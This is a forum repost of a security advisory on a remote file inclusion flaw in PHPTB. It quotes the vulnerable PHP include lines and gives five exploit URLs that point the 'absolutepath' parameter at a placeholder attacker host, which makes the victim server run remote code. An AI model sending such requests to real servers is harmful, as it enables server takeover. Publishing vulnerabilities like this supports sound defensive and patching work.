发新话题
打印

[转载]PHPTB代码注入漏洞

[转载]PHPTB代码注入漏洞

信息来源:邪恶八进制信息安全团队(www.eviloctal.com

Summary
PHPTB is "an open source portal / topic board system". An input validation flaw in PHPTB code allows malicious attackers to cause the server to execute arbitrary code.

Credit:
The information has been provided by Filip Groszy ski.

Details
The vulnerable code exists in the following files: admin_o.php, board_o.php, dev_o.php, file_o.php and tech_o.php:
<?php
include $absolutepath.&#39;classes/smart_o.php&#39;;
... EOF

In dev_o.php and tech_o.php:
...
require $GLOBALS[&#39;absolutepath&#39;].&#39;userpass.php&#39;;
... EOF

Examples:
The following URLs can be used to tirgger the vulnerability:
http://[victim]/[dir]/classes/admin_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/board_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/dev_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/file_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/tech_o.php?absolutepath=http://[hacker_box]/
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题